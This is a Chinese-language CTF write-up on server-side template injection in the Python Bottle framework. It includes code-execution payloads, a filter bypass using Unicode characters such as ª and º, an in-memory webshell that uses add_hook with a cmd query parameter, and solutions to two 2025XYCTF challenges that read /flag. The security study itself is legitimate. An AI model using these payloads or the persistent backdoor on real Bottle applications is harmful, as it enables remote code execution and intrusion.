前言:
在复现2025XYCTF的时候碰到了一题,感觉有意思而且也是我之前没见过的一个知识点,所以就写下这篇对知识点进行系统性整理。
一、Bottle库
简介
Bottle是一个超轻量级的Python Web框架,具有简洁、高效和零依赖的特性。
特性
核心特性:
极简设计:学习曲线低,适合快速开发
内置HTTP服务器:开发环境无需额外配置
路由系统:支持静态和动态路由
模板引擎:内置简单模板系统,支持Jinja2等第三方引擎1
轻量级:单个文件约4000行代码,无外部依赖
基本功能
路由功能
Bottle提供了强大的路由机制,将URL映射到处理函数
1 | import bottle |
请求参数处理
Bottle可以方便地获取各类请求参数
1 | import bottle |
静态文件服务
内置static_file
函数简化静态资源托管
1 | import bottle |
模板渲染
Bottle支持多种模板引擎
1 | import bottle |
模板文件tglu_template.tpl
:
1 | <h1>{{name}}</h1> |
本篇文章就依赖模板渲染功能。
二、基于Bottle库的SSTI注入
Bottle模板引擎特性
Bottle内置了一个简单的模板引擎:
- 使用类似Python语法的模板标记
- 支持变量替换(
{{var}}
) - 支持控制结构(
%if
、%for
等) - 默认不提供严格的沙箱环境
版本区别
bottle<0.12:默认模板引擎几乎没有安全限制
- 允许访问几乎所有Python对象
- 没有严格的沙箱环境
- 可以轻松代码执行
bottle=0.12-0.13:开始引入基本安全限制
- 默认禁用部分危险函数,但仍可通过某些方式绕过
- 基础表达式(如
{{7*7}}
)仍能工作
bottle>0.12:大幅增强模板安全性
- 强沙箱环境,默认不注入任何危险对象
- 即使存在SSTI,也很难执行危险操作
- 需要显式传递对象到模板上下文
漏洞分析
假设现在有这么一个环境(这里使用python2.7 bottle0.11.2进行演示)
1 | import bottle |
漏洞发现
检测常用payload只有{{ }}
有效,这是Bottle模板引擎的唯一默认语法。
虽说{{ }}
是唯一默认语法,但是我看到一篇博客说<%%>
和%
也可以使用,但是我自己实测下来发现就%
可以使用(我猜测跟bottle.template()
有关系跟进代码去看了一下检测 \n
、{
、%
、$
字符自动判断输入类型但是没有<%%>
所以我感觉挺奇怪的估计跟版本问题有关系,实际做题时如果{{}}
被禁用了可以尝试看看)
1 | %0a%%20print(7*7) |
漏洞利用
语法跟flask框架下的SSTI其实差不多
信息泄露
获取环境变量:
1 | {{request.environ}} |
获取配置信息:
1 | {{settings}} |
获取应用配置:
1 | {{config}} |
还有些其他的,但是我这里代码里都没配置所以就不演示了
代码执行
跟flask框架下的差不多,还不需要调用内置类那些的,方便很多。
使用os.popen
1 | {{__import__('os').popen('whoami').read()}} |
或者使用os.system
1 | {{__import__('os').system('whoami')}} |
但是这个在页面上只会返回0表示执行成功,只能在终端看到结果
还可以使用subprocess.check_output
1 | {{__import__('subprocess').check_output('whoami', shell=True)}} |
绕过
基本上跟flask框架的都差不多,参考我在CSDN上的博客 SSTI模板注入漏洞基础
特殊注入
python3 bottle框架斜体字引发的ssti模板注入
在2025XYCTF的时候第一次碰到,这里参考出题人LamentXU师傅的文章
斜体字符集
斜体字符集指的是Decomposition后为同一个字符的字符集
用https://www.compart.com/en/unicode/ 可以查看的到字符集(这里用a来做示例)
这些字符分解后都指向a
,例如:á (U+00E1)
分解为a(U+0065)
+´(U+0301)
,á
分解后指向a
这些字符共同组成了a这个基础字符的斜体字符集。
原理
输入
跟进到bottle.py
的渲染函数template()
查看一下
可以看到我们输入语句后会识别出\n
、{
、%
、$
,然后放入到SimpleTemplate类中(简单逻辑),然后通过reader()
进行渲染输出,跟进到SimpleTemplate中的reader()
。
通过分析,模板引擎能够实现渲染的核心方法是self.execute()
,继续跟进到execute()
该逻辑实现了模板变量处理、嵌套模板、模板继承等高级功能,而我们能够通过SSTI模板注入实现代码执行正是来源于这里的exec(self.co, env)
,再观察其中的参数self.co
是预编译的模板字节码,继续跟进到co()
参数source=self.code
,正是我们模板的源代码,这里利用compile()
将其编译,跟进到code()
code()
方法作为模板引擎的源代码处理核心,负责将原始模板转换为可执行的中间代码。这里可以发现利用touni()
方法对source进行编码处理,跟进到touni()
可以看到如果是python3则利用touni()
将source的字节流或字符串统一转为Unicode,如果是python2则利用tob()
分别跟进到py3k(python3)和else(python2)
可以看到unicode在python3下是全体str,说明直接支持所有Unicode字符(包括特殊样式),也就是说我们可以输入斜体字符并被识别。
而在python2下是全体unicode,需要终端/编辑器支持特殊字符集。
因此我们就可以得出结论,在python3下是可以输入斜体字符并被识别的。(LamentXU师傅的那篇文章还对全局是否只有touni()
对编码进行了处理进行了一个分析,最后得出确实只有touni()
对编码进行了处理的结论。这里我就不再进一步分析了,如果想看的就参考LamentXU师傅的文章https://www.cnblogs.com/LAMENTXU/articles/18805019)
执行
接下来我们接着分析为什么带有斜体字符的代码为什么能够被执行。
通过上面的分析我们可以知道代码执行的原理是利用了exec()
函数。
通过上面的分析我们知道在pythn3下,斜体字符是合法的Unicode字符,属于 UTF-8 的编码范围。在代码中直接书写这些字符时,当我们用exec()
执行代码的时候Python 解释器会先将我们输入的字符解码为 Unicode 码点(Code Points),再编译为字节码,最后在当前的命名空间中运行字节码。
所以当我们输入的代码带有斜体字符的时候也是可以被exec()
执行的。
但是这里要注意一点的是在进行代码执行的代码段中,只有两个字符ª
(U+00AA),º
(U+00BA)能够成功(LamentXU师傅也是只有这两个成功了,这里也是看了波LamentXU师傅的解释)。
这些特殊字符经过URL编码之后一个字符都必须以两个编码值表示。但是bottle在解析编码值的时候是按照一个编码值对应一个字符进行解析的。所以往往一个这些字符都会被识别成两个字符。只有位于U+0080(
<Padding Character> (PAD)
)到U+00BF(¿
)区间的字符,也就是Latin-1 Supplement
的一半。他们的URL编码都由%c2
开头,后面再跟一个编码值。利用的时候只需要将开头的%c2
删去就可以成功将原字符传入后端。其中只有ª
(U+00AA),º
(U+00BA),¹
(U+00B9),²
(U+00B2),³
(U+00B3)有用,其中¹
(U+00B9),²
(U+00B2),³
(U+00B3)在exec()
时不会被python正确解析。
这里用我本地python3 bottle0.13.2来演示一下
可以看到输入{{ª}}
会被url编码为%C2%AA
,此时我们将%C2
给删去就可以解析为a了
再来看一下原来python2环境的效果
代码执行
搞懂了原理之后我们可以写一个exp来对payload中的代码进行编码处理(这里直接用LamentXU师傅的exp了)
1 | import re |
Bottle v0.13.2内存马
这里我还没碰到过但是感觉应该存在,去搜一下发现Meteor_Kai师傅之前有写过一篇关于这个的,这里也是参考了他的文章。
内存马
不落地的Web后门,直接驻留在内存中,通过修改运行时内存数据(如Java的Servlet容器、Python的WSGI应用)劫持请求处理流程。本质上就是自定义一个路由来实现rce。
原理
输入
既然内存马是与路由有关的,那么我们就跟进到bottle.py
里的route()
查看
可以看到利用callable()
处理@app.route()
直接装饰函数的情况,我们跟进到callable
(python2是没有这个的)
定义了一个名为 callable
的lambda函数替代 Python 内置的callable()
函数,用于检测一个对象是否可调用(即是否可以被当作函数执行),再返回到route()
查看逻辑。
如果我们输入的path是一个可调用对象,则会将path的值赋给callback而path为空。
接着跟进到下面的路由装饰器decorator()
接收上面的callback后利用Route()
构造一个路由对象。
综上,如果我们传入一个值给callback生成一个函数就可以实现代码执行。
执行
但是callback是什么的时候能够生成函数呢?也就是如何在不写一个完整的def的情况下自定义一个函数
这就要利用python默认自带的lambda表达式(也就是我们上面分析的时候出现过的)
语法:
1 | lambda 参数列表: 表达式 |
简单演示一下
1 | from bottle import Bottle,error |
可以看到虽然是报错,命令已经执行成功了。
写入内存马
可以看到上面的命令执行成功,但是正常情况下题目不会直接给callback赋值,所以我们需要思考利用什么方式能够将我们的payload写入到callback中进行rce。
这里就需要利用到一个函数add_hook()
,查看一下bottle.py
里的add_hook()
这个函数用于添加钩子函数到指定钩子点,然后执行。可以来看看钩子有哪些
如果我们传入的钩子为反向钩子after_request
,则会实现insert操作将钩子插入队列头部,如果是其他普通钩子则追加到队列尾部。after_request这个钩子的执行阶段响应返回前(即使路由抛出异常)。所以使用这个钩子的话即使路由抛出错误了,我们的代码也已经执行完了。
利用add_hook的前提是有
eval()
下面来简单演示了一下
1 | from bottle import template,Bottle,request,error |
构造payload
1 | app.add_hook('after_request',lambda :print(1)) |
可以看到在终端已经执行print(1)
成功了但是在页面上还是报错
并且此时直接访问/也可以得到1,但是在页面上也是报错
这里我有个问题:在尝试
app.add_hook('after_request',lambda :__import__('os').popen('whoami').read())
没法执行终端和页面上全都报错了。
问题解决,原本我用的popen其实已经将whoami执行成功了,但是popen的执行结果不会显示在终端而是直接显示在页面上,而页面上由于会被我们的报错覆盖所以看不到执行结果,这里用system就可以了。(这里感谢meteorkai师傅的help)
1 | app.add_hook('after_request',lambda :__import__('os').system('whoami')) |
回显执行结果
但是如果只能显示在终端,在做题的时候也是没有作用的,所以得想一种命令执行的结果显示在页面上的方法
响应头
这里我们需要利用到一个函数set_header()
,查看一下其定义
这个函数的用法主要是强制覆盖同名头(只保留最新的)
演示一下
1 | app.add_hook('after_request', lambda : __import__('bottle').response.set_header('X-Flag', __import__('base64').b64encode(__import__('os').popen("whoami").read().encode('utf-8')).decode('utf-8'))) |
然后访问/
路由,就可以在请求头里看到结果了
abort()
利用abort()我们可以直接将结果给显示到报错信息中,查看一下其定义
可以看到用于立即终止请求处理并返回 HTTP 错误响应的文本,此时我们只需将text改为我们的payload即可实现将结果打印到报错信息里。
1 | app.add_hook('after_request', lambda: __import__('bottle').abort(404,__import__('os').popen('whoami').read())) |
访问/
路由即可看到执行结果
写入后门
payload:
1 | app.add_hook('after_request', lambda: __import__('bottle').abort(404,__import__('os').popen(request.query.get('cmd')).read())) |
然后在/
路由直接?cmd=whoami
就行了
三、例题
2025XYCTF 出题人已疯
题目给了源码,直接看关键点
可以发现可能存在ssti模板注入
尝试一下
确定ssti模板注入的存在
查看源码发现可能存在基于bottle库的SSTI注入。但是直接命令执行的话,可以看到源码禁用了popen
,所以只能用system来执行,但是{{__import__('os').system('whoami')}}
长度也是超过了25,用%
的方法%0a%%20__import__('os').system('whoami')
也是超过了25。
所以这里我们只能采用拼接的方法来绕过。
错误exp:
1 | import requests |
但是我发现没得到结果
看了下wp发现又是无回显。。。
获取flag
exp:
1 | import requests |
2025XYCTF 出题人又疯
这题跟出题人已疯差不多,唯一不同是多了一个blacklist = ['o', '\\', '\r', '\n', 'import', 'eval', 'exec', 'system', ' ', ';' , 'read']
。
但是要该怎么绕过呢?这里我也是想不到了,直接看的wp,发现用斜体字可以绕过
先用脚本处理一下payload:
1 | import re |
将得到的结果带入我上面那题的exp但是发现不成功,仔细一看才发现import和eval也被过滤了。。。再处理一下,结果发现还是不行,再看源码发现\n
也被过滤了。。。
没办法用上一题的exp打了现在(绕了半天也绕不过去了),直接看wp发现直接用open打开flag就行了
处理一下{{open(%27/flag%27).read()}}
payload:
1 | /attack?payload={{%BApen(%27/flag%27).re%aad()}} |
Bottle打SSTI内存马的题暂时还没有做到过,等做到了再补上。